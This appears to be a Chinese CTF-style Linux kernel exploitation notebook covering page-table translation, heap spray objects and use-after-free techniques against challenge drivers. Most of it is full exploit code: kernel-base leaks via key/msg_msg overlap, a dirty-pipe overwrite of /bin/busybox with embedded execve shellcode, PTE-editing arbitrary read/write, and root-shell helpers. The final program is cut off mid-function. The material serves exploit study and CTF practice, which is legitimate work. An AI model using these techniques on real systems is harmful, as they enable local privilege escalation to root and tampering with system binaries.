                           └─────────────────────► [38:30] PUD
                  
                  └───────────────────────────────► [47:39] PGD
 
 └─────────────────────────────────────────────────► [63] Reserved



Example:

   Address: 0x0000555555554020
                   
                   
                   
            0b0000000000000000010101010101010101010101010101010100000000100000
              [   RESERVED   ][  PGD  ][  PUD  ][  PMD  ][  PTE  ][  OFFSET  ]


 PGD:    010101010 = 170
 PUD:    101010101 = 341
 PMD:    010101010 = 170
 PTE:    101010100 = 340
 D-T: 000000100000 =  32



       PGD                PUD                PMD                PTE              P-MEM

    ┌────────┐         ┌────────┐         ┌────────┐         ┌────────┐        ┌──────────┐
  0           ┌───►0           ┌───►0           ┌───►0           ┌──►0           
    ├────────┤        ├────────┤        ├────────┤        ├────────┤       ├──────────┤
                                                                32  Hello_Wo 
    ├────────┤        ├────────┤        ├────────┤        ├────────┤       ├──────────┤
170         ├──┘                  170         ├──┘                      rld!0000 
    ├────────┤         ├────────┤        ├────────┤         ├────────┤       ├──────────┤
                 341         ├──┘                   340         ├──┘               
    ├────────┤         ├────────┤         ├────────┤         ├────────┤        ├──────────┤
512              512              512              512            4096           
    └────────┘         └────────┘         └────────┘         └────────┘        └──────────┘

代码表示

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39

#define PT_ENTRY_MASK 0b111111111UL
#define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
#define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
#define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
#define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)

#define PTE_ENTRY(addr) ((addr >> 12) & PT_ENTRY_MASK)
#define PMD_ENTRY(addr) ((addr >> 21) & PT_ENTRY_MASK)
#define PUD_ENTRY(addr) ((addr >> 30) & PT_ENTRY_MASK)
#define PGD_ENTRY(addr) ((addr >> 39) & PT_ENTRY_MASK)
#define PAGE_ENTRY(addr) ((addr) & PT_ENTRY_MASK)

#define PAGE_ATTR_RW (1UL << 1)
#define PAGE_ATTR_NX (1UL << 63)

uint64_t dirt(uint64_t addr){
    return (((addr & ~0xfff) - page_offset_base) / 0x1000) * 0x40 + vmemmap_base;
}

内核常用结构体

GFP_KERNEL_ACCOUNT

pipe_buffer (> kmalloc-cg-0x40)

默认 0x28*0x10 = 0x280

write 的时候更改(pipe_buffer + 0x8 + 0x4)

read 的时候更改(pipe_buffer + 0x8) 同时会减小 pipe_buffer + 0x8 + 0x4

1
2
3
4
5
6
7
8
9
write(pipes[1],buf,0x100)
0xffff88800f9aa000:	0xffffea00003e5d80	0x0000010000000000
0xffff88800f9aa010:	0xffffffff82246ec0	0x0000000000000010
0xffff88800f9aa020:	0x0000000000000000
read(pipes[0],buf,0x10)
0xffff8880081aa000:	0xffffea00003e5d80	0x000000f000000010
0xffff8880081aa010:	0xffffffff82246ec0	0x0000000000000010
0xffff8880081aa020:	0x0000000000000000
0xffffea00003e5d80 & 0xffffffffff000000 == vmembase (即page结构体的基地址)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void alloc_pipe_buff(int i)
{

    if (pipe(pipes[i]) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }
}

void change_pipe_buff_size(int i, size_t size){
    if(fcntl(pipes[i][1],F_SETPIPE_SZ,0x1000*(size/0x40)) < 0){
        perror("fcntl");
        return;
    }
}

void release_pipe_buff(int i)
{
    if (close(pipes[i][0]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }

    if (close(pipes[i][1]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }
}

msg_msg (>= kmalloc-cg-0x40)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};
struct {
  long mtype;
  char mtext[0x4000];
} msgbuf;
#define MSG_COPY 040000
#define IPC_NOWAIT 04000
int msgqid[0x10000];
int add_msg(int msqid, const void *msgp, size_t msgsz) {
	if (msgsnd(msqid, msgp, msgsz, 0) < 0) {
		perror("[-] msgsnd");
    	return -1;
    }
    return 0;
}
int show_msg(int msqid, void *msgp,size_t msgsz,long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, 0) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}
int msg_get(){
    int pid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if(pid < 0){
        perror("msgget");
        return -1;
    }
    return pid;
}
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = m_type;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}
void build_msg(int num){
	for(int i = 0;i < num;i++){
		msgqid[i] = msg_get();
	}
}

sk_buffer (> kmalloc-cg-0x140)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int ss[0x1000][2];
int init_sk_buffer(int i){
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
        perror("[-] socketpair");
        return -1;
    }
}

int alloc_sk_buffer(int i,char *buff,size_t size){
    if (write(ss[i][0], buff, size-0x140) < 0) {
        perror("[-] write");
        return -1;
    }
}

int show_skb_buff(int i,char *buff,size_t size) {
    if (read(ss[i][1], buff, size-0x140) < 0) {
        perror("[-] write");
        return -1;
    }
}

GFP_KERNEL

user_key_payload(>= kmalloc-0x20)

pg_vec(>= kmalloc-0x8)

调试看 alloc_pg_vec

setxattr(任意大小)

send_msg(>= kmalloc-0x8)

poll_list (4k + 任意地址)

1
create_poll_thread(0,4096 + size,5000,false);

漏洞

该题存在 UAF 堆溢出等一系列漏洞

UAF

challenge-1

先从比较简单的设定开始,假设我们可以申请无限制大小的堆块

kmalloc-512

方法1

1次add 三次free

  1. 申请一个 0x200 大小的堆块
  2. 释放掉
  3. 使用 user_key_payload 占位
  4. 释放掉
  5. 使用 send_msg 占位 user_key_payload
  6. 更改 user_key_payload 的 data_len 为特别大的值泄露 kernel_base
  7. page allocatea占位
  8. task1: 释放掉 然后send_msg触发punch hole,需要在内存的前面写劫持的地址
  9. task2: 触发usma
  10. task3: prepare punch hole
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#include <banzi.h>
#include <linux/prctl.h>  /* Definition of PR_* constants */
#include <sys/prctl.h>
int fd = -1;
int add(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x20,arg);
}
int del(uint64_t idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0x30,arg);
}

int triger_punch(){
    set_cpu_affinity(0,getpid());
    while(!sync_s->x1);
    sync_s->x2 = 1;
    logi("triger_punch");
    triger_punch_hole();
}
char *p = NULL;
int delete_some_struct(){
    set_cpu_affinity(0,getpid());
    char *buf = calloc(1,0x1000);
    while(!sync_s->x3);
    logi("triger_add!!!!!!!!!!!!");
    uint64_t start = rdtsc();
    p = (char *)mmap(NULL, 0x1000 * (0x28/0x8), PROT_READ | PROT_WRITE, MAP_SHARED, page_fds[0], 0);
    if (!p || (ssize_t)p < 0) {
        perror("mmap error: ");
        return 0;
    }
    uint64_t end = rdtsc();
    logd("delete_some_struct cost: %lld",end - start);
    p[0x2e0 + 265 + 1] = 0x85;
    hexdump(p,0x100);
}

int triger_vuln(){
    set_cpu_affinity(0,getpid());
    int size = 0x28;
    sync_s->x1 = 1;
    while(!sync_s->x2);
    logi("triger_vuln");
    char *buf = (MMAP_ADDR + PAGE_SIZE - size);
    uint64_t *data = buf;
    for(int i = 0;i < size/0x8;i++){
        data[i] = kernel_base + 0x1242e0;
    }
    del(0);
    sync_s->x3 = 1;
    uint64_t start = rdtsc();
    spray_sendmsg(buf,0x30,1);
    uint64_t end = rdtsc();
    logd("triger vuln cost: %lld",end - start);

}
// ffffffff811242e0
int exp(){
    pthread_t t1, t2, t3;
    init_namespace();
    set_cpu_affinity(0,getpid());
    punch_hole_prepare();
    fd = open("/dev/hardker",0);
    if(fd < 0){
        perror("open");
        return -1;
    }
    char *buf = calloc(1,0x4000);
    memset(buf,'a',0x1000); 
    add(0x28,buf);
    del(0);
    keys[0] = alloc_key(0,buf,0x28);
    del(0);
    uint64_t *data = buf;
    data[0] = NULL;
    data[1] = NULL;
    data[2] = 0xff00;
    data[3] = 0x1234;
    spray_sendmsg(buf,0x28,1);
    buf = get_key(0,0xff00);
    uint64_t maybyKenrel[0x100];
    maybyKenrel[0] = 0xffffffff82428c09;
    maybyKenrel[1] = 0xffffffff824569c0;
    maybyKenrel[2] = 0xffffffff82428e59;
    maybyKenrel[3] = 0xffffffff829de42e;
    maybyKenrel[4] = 0xffffffff811ecc30;
    for(int i = 0;i < 0xff00/0x8;i++){
        if(is_kernel_pointer(data[i])){
            // logi("kernel pointer: 0x%llx",data[i]);
            for(int j = 0;j < 5;j++){
                if((maybyKenrel[j] & 0xfff) == (data[i] & 0xfff)){
                    logi("find kernel pointer: 0x%llx",data[i]);
                    kernel_base = data[i] - (maybyKenrel[j] - 0xffffffff81000000);
                    goto find_kernel;
                }
            }
        }
    }
find_kernel:
    if(kernel_base){
        logi("kernel_base: 0x%llx",kernel_base);
    }
    else{
        loge("can't find kernel base");
        return -1;
    }
    memset(buf,'\x00',0x100);
    page_fds[0] = pagealloc_pad(0x1000,0x28/0x8);
    pthread_create(&t1,NULL,(void *)triger_punch,NULL);
    pthread_create(&t2,NULL,(void *)delete_some_struct,NULL);
    pthread_create(&t3,NULL,(void *)triger_vuln,NULL);
    pthread_join(t1,NULL);
    pthread_join(t2,NULL);
    pthread_join(t3,NULL);
}
int main(){
    int pipe_fd[2];
    pipe(pipe_fd);
    int cid = fork();
    if(cid == 0){
        close(pipe_fd[0]);
        exp();
        write(pipe_fd[1], "A", 1);
        //挂起子进程
        pause();
    }
    else{
        close(pipe_fd[1]);
        char buf[1];
        //此时会阻塞,直到子进程发送数据
        read(pipe_fd[0], buf, 1);
        hexdump(buf,1);
        setresuid(0,0,0);
        execl("/bin/sh","cat","/flag",NULL);
        // execl("/bin/sh","id",NULL);
    }
}
方法2
  1. 申请一个 0x200 大小的堆块
  2. 释放掉
  3. 使用 user_key_payload 占位
  4. 释放掉
  5. 使用 send_msg 占位 user_key_payload
  6. 更改 user_key_payload 的 data_len 为特别大的值泄露 kernel_base

kmalloc-cg-512

  1. 申请一个 0x200 大小的堆块
  2. 释放掉
  3. 使用 sk_buffer 占用
  4. 释放掉
  5. 使用 pipe_buffer 占用 此时 sk_buffer 和 pipe_buffer 在同一个堆块
  6. 通过 sk_buffer 泄露 pipe_buffer 中的地址
  7. 重新申请,转化为 dirty_pipe 来写/bin/busybox 的 poweroff 函数
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <banzi.h>
int fd = -1;
int add(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x20,arg);
}
int add_only(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x77,arg);
}
int add_acc(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x88,arg);
}
int del(uint64_t idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0x30,arg);
}
int edit(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x50,arg);
}
int show(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x40,arg);
}
int list(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x66,arg);
}
const char attack_data[] = {106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5};
int poc(){
    init_namespace();
    set_cpu_affinity(0,getpid());
    fd = open("/dev/kernelpwn",0);
    if(fd < 0){
        perror("open");
        return -1;
    }
    logi("open success");
    char *buf = calloc(1,0x4000);
    init_sk_buffer(0);
    init_sk_buffer(1);
    build_msg(1);
    alloc_pipe_buff(0);
    add_acc(0x200,buf);
    logi("add kmalloc-cg-512");
    del(0);
    memset(buf,'a',0x100);
    logi("allocate sk_buffer");
    alloc_sk_buffer(0,buf,0x200);
    logi("del kmalloc-cg-512");
    del(0);
    logi("allocate pipe buffer");
    change_pipe_buff_size(0,0x200);
    write(pipes[0][1],buf,0x1000);
    logi("Dirty pipe");
    int attack_fd = open("/bin/busybox",0);
    if(attack_fd < 0){
        perror("open");
        return -1;
    }
    loff_t offset = 0x1FDAC8;
    splice_fd(attack_fd,offset,0);
    show_skb_buff(0,buf,0x200);
    uint64_t *data = buf;
    data[8] = 0x10;
    alloc_sk_buffer(1,buf,0x200);
    write(pipes[0][1],attack_data,sizeof(attack_data));
    release_pipe_buff(0);
    msgbuf.mtype = 1;
    add_msg(0,&msgbuf,0x200-0x30);
}
int main(){
    int cid = fork();
    if(cid == 0){
        poc();
        exit(0);
    }
    else if(cid < 0){
        perror("fork");
        return -1;
    }
    else{
        waitpid(cid,NULL,NULL);
        system("exit");
    }
}

独立页的 uaf

从最简单的开始做起,可以申请无限制数量的堆块 大小为0x200(原则上来说order-0 page都可以

1
sudo cat /sys/kernel/slab/kmalloc-512/cpu_partial

按照道理来说将 page 释放的操作应该是

  1. 申请(cpu_partial + 0x2) * one_page_object 个 object

  2. 然后申请 1 个 vuln_object

  3. 然后再申请 one_page_object 个 object

  4. 然后释放掉 vuln_object 以及其前后各 one_page_object 的 object

  5. 然后再释放(cpu_partial + 0x1) 每个页释放一个 此时便可以将 vuln_object 的页释放进 buddy_system 中

但是实际操作发现,成功率非常低,但是如果无脑的申请很多堆块,然后释放掉 成功率却很高

大概需要保证申请的 object 的数量*其 size 是 0x10000 才能成功

A: 真相了,实际上对比的是 cpu_partial_slabs

cpu_partial_slabs在kmem_cache里面偏移可以通过pahole来看

https://nuc-1304629987.cos.ap-chongqing.myqcloud.com/image/image-20241020100736385.png

1
pahole -V ./vmlinux > struct.txt

调试技巧,将断点下在__unfreeze_partials (释放的时候)处即可

p *s 或者 tele $rdi 20

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240209015247-149.png

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240209015248-226.png

方法 1 重叠攻击 pipe buffer

  • 申请 0x80(13 + 0x3) * 0x8 个 object, 然后释放掉他们
  • 喷射 sk_buffer 来复用 buddy system
  • 释放和 uaf 的 object 然后用 pipe-buffer 进行占位
  • 读取 sk_buffer 内容使用 pipe-prime 来劫持 busybox
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#include <banzi.h>
int fd = -1;
int add(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x20,arg);
}
int add_only(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x77,arg);
}
int add_acc(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x88,arg);
}
int del(uint64_t idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0x30,arg);
}
int edit(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x50,arg);
}
int show(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x40,arg);
}
int list(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x66,arg);
}
int page_fds[0x1000];
int pipefd[30][2];
int spray_pags(){
    logd("Spray 0x10 order-0 page");
    for(int i = 0;i < 52*2;i++){
        page_fds[i] = pagealloc_pad(0x1000,1);
    }
}
int determine_spray(){
    logd("spray determine page");
    spray_pags();
    char *buf = calloc(1,0x1000);

}
#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39

#define PT_ENTRY_MASK 0b111111111UL
#define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
#define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
#define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
#define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)

#define PTE_ENTRY(addr) ((addr >> 12) & PT_ENTRY_MASK)
#define PMD_ENTRY(addr) ((addr >> 21) & PT_ENTRY_MASK)
#define PUD_ENTRY(addr) ((addr >> 30) & PT_ENTRY_MASK)
#define PGD_ENTRY(addr) ((addr >> 39) & PT_ENTRY_MASK)
#define PAGE_ENTRY(addr) ((addr) & PT_ENTRY_MASK)

#define PAGE_ATTR_RW (1UL << 1)
#define PAGE_ATTR_NX (1UL << 63)
const char attack_data[] = {106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5};
unsigned int key_spray = 64*2;
size_t s2,tmp_idx,page_offset_base,vmemmap_base;
uint64_t dirt(uint64_t addr){
    return (((addr & ~0xfff) - page_offset_base) / 0x1000) * 0x40 + vmemmap_base;
}
int arb_read(uint64_t addr,uint64_t *buf){
    memset(buf,'\x00',0x1000);
    read(pipes[s2][0],buf,0x200);
    buf[0] = addr;  
    buf[1] = 0x000011ff00000000;
    write(pipes[s2][1],buf,0x100);
    memset(buf,'\x00',0x1000);
    read(pipes[tmp_idx][0],buf,0x1000);
}
int arb_write(uint64_t addr,uint64_t *write_data,uint64_t size){
    char *buf = calloc(1,0x4000);
    uint64_t *data = buf;
    memset(data,'\x00',0x1000);
    read(pipes[s2][0],data,0x200);
    data[0] = addr;  
    data[1] = 0x0000000000000000;
    write(pipes[s2][1],data,0x100);
    write(pipes[tmp_idx][1],write_data,size);
}
int get_addr(uint64_t pgd_addr,uint64_t addr,char *buf){
    uint64_t pte_addr,pud_addr,pmd_addr,page_addr,dst_addr;
    uint64_t *data = buf;
    dst_addr = addr;// __sys_setresuid
    arb_read(dirt(pgd_addr),buf);
    pud_addr = (data[PGD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;
    arb_read(dirt(pud_addr),buf);
    pmd_addr = (data[PUD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;
    arb_read((void*) dirt(pmd_addr), buf);
    pte_addr = (data[PMD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr = pte_addr + 0x1000 * PTE_ENTRY(dst_addr);
    pte_addr += page_offset_base;//==kernel_base ; + 0xeab50 == __sys_setre
    arb_read((void*) dirt(pte_addr), buf);
    page_addr = (data[PTE_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    page_addr += page_offset_base;
    data[PTE_ENTRY(dst_addr)] = 0x1fc000 | 0x8000000000000867;
    arb_write(dirt(pte_addr),data,0xff0);
}

void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    
    system("/bin/sh");
    
    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

int exp(){
    set_cpu_affinity(0,0);
    init_namespace();
    fd = open("/dev/kernelpwn",1);
    if(fd < 0){
        perror("open");
        _exit(0);
    }
    char *buf = calloc(1,0x10000);
    memset(buf,'a',0x200);
    logd("init sk-buffers");
    for(int i = 0;i < 0x10;i++){
        init_sk_buffer(i);
    }
    build_msg(1);
    logd("init pipe buffer");
    for(int i = 0;i < 0x40;i++){
        alloc_pipe_buff(i);
    }
    logi("spray some objects");
    for(int i = 0;i < 0x80;i++){
        add_only(0x200,buf);
    }
    logi("free objects now this page will back to buddy system");
    for(int i = 0;i < 0x80;i++){
        del(i);
    }
    // logd("spary some 0x200 pipe-buffers");
    // for(int i = 0; i < 0x8; i++){
    //     change_pipe_buff_size(i,0x200);
    //     memset(buf,'a' + i,0x100);
    //     write(pipes [i][1], buf, i + 1);
    // }
    logd("spary some sk-buffer");
    for(int i = 0;i < 0x8;i++){
        memset(buf,'a' + i,0x100);
        alloc_sk_buffer(i,buf,0x200);
    }
    uint64_t *data = buf;
    int obj_idx = -1;
    for(int i = 0;i < 0x80;i++){
        show(i,buf,0x20);
        if(data[0] != 0x6161616161616161 && data[0] && data[0] >> 48 != 0xffff){
            logi("get[%d]",i);
            obj_idx = i;
            break;
        }
    }
    del(obj_idx);
    uint64_t skb_idx = (data[0] >> 56) - 0x61;
    logi("get skb idx %d",skb_idx);
    change_pipe_buff_size(0,0x200);
    write(pipes[0][1],buf,0x1000);
    logi("Dirty pipe");
    int attack_fd = open("/bin/busybox",0);
    if(attack_fd < 0){
        perror("open");
        return -1;
    }
    loff_t offset = 0x1FDAC8;
    splice_fd(attack_fd,offset,0);
    show_skb_buff(skb_idx,buf,0x200);
    data[8] = 0x10;
    alloc_sk_buffer(0x9,buf,0x200);
    write(pipes[0][1],attack_data,sizeof(attack_data));
    //avoid pipe_buffer and sk-buffer in same object
    release_pipe_buff(0);
    msgbuf.mtype = 1;
    add_msg(0,&msgbuf,0x200-0x30);
    __pause("debug");

}
int main(){
    
    int cid = fork();
    if(cid == 0){
        exp();
        return 0;
    }
    else{
        int wstatus;
        wait(wstatus);
        if (WIFEXITED(wstatus) && !WEXITSTATUS(wstatus)) {
            // setresuid(0, 0, 0);
            // execl("/bin/sh", "sh", NULL);
            return 0;
        }
    }


} 

https://tuchuang-1304629987.cos.ap-chengdu.myqcloud.com//image/20240209015808-705.png

0x80

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#include <banzi.h>
int fd = -1;
int add(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x20,arg);
}
int add_only(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x77,arg);
}
int add_acc(uint64_t size,char *buf){
    uint64_t arg[2] = {size,buf};
    ioctl(fd,0x88,arg);
}
int del(uint64_t idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0x30,arg);
}
int edit(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x50,arg);
}
int show(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x40,arg);
}
int list(uint64_t idx,char *buf,uint64_t size){
    uint64_t arg[3] = {idx,size,buf};
    ioctl(fd,0x66,arg);
}
int page_fds[0x1000];
int pipefd[30][2];
int spray_pags(){
    logd("Spray 0x10 order-0 page");
    for(int i = 0;i < 52*2;i++){
        page_fds[i] = pagealloc_pad(0x1000,1);
    }
}
int determine_spray(){
    logd("spray determine page");
    spray_pags();
    char *buf = calloc(1,0x1000);

}
#define PTE_OFFSET 12
#define PMD_OFFSET 21
#define PUD_OFFSET 30
#define PGD_OFFSET 39

#define PT_ENTRY_MASK 0b111111111UL
#define PTE_MASK (PT_ENTRY_MASK << PTE_OFFSET)
#define PMD_MASK (PT_ENTRY_MASK << PMD_OFFSET)
#define PUD_MASK (PT_ENTRY_MASK << PUD_OFFSET)
#define PGD_MASK (PT_ENTRY_MASK << PGD_OFFSET)

#define PTE_ENTRY(addr) ((addr >> 12) & PT_ENTRY_MASK)
#define PMD_ENTRY(addr) ((addr >> 21) & PT_ENTRY_MASK)
#define PUD_ENTRY(addr) ((addr >> 30) & PT_ENTRY_MASK)
#define PGD_ENTRY(addr) ((addr >> 39) & PT_ENTRY_MASK)
#define PAGE_ENTRY(addr) ((addr) & PT_ENTRY_MASK)

#define PAGE_ATTR_RW (1UL << 1)
#define PAGE_ATTR_NX (1UL << 63)
const char attack_data[] = {106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5};
unsigned int key_spray = 64*2;
size_t s2,tmp_idx,page_offset_base,vmemmap_base;
uint64_t dirt(uint64_t addr){
    return (((addr & ~0xfff) - page_offset_base) / 0x1000) * 0x40 + vmemmap_base;
}
int arb_read(uint64_t addr,uint64_t *buf){
    memset(buf,'\x00',0x1000);
    read(pipes[s2][0],buf,0x200);
    buf[0] = addr;  
    buf[1] = 0x000011ff00000000;
    write(pipes[s2][1],buf,0x100);
    memset(buf,'\x00',0x1000);
    read(pipes[tmp_idx][0],buf,0x1000);
}
int arb_write(uint64_t addr,uint64_t *write_data,uint64_t size){
    char *buf = calloc(1,0x4000);
    uint64_t *data = buf;
    memset(data,'\x00',0x1000);
    read(pipes[s2][0],data,0x200);
    data[0] = addr;  
    data[1] = 0x0000000000000000;
    write(pipes[s2][1],data,0x100);
    write(pipes[tmp_idx][1],write_data,size);
}
int get_addr(uint64_t pgd_addr,uint64_t addr,char *buf){
    uint64_t pte_addr,pud_addr,pmd_addr,page_addr,dst_addr;
    uint64_t *data = buf;
    dst_addr = addr;// __sys_setresuid
    arb_read(dirt(pgd_addr),buf);
    pud_addr = (data[PGD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pud_addr += page_offset_base;
    arb_read(dirt(pud_addr),buf);
    pmd_addr = (data[PUD_ENTRY(dst_addr)] & (~0xfff)) & (~PAGE_ATTR_NX);
    pmd_addr += page_offset_base;
    arb_read((void*) dirt(pmd_addr), buf);
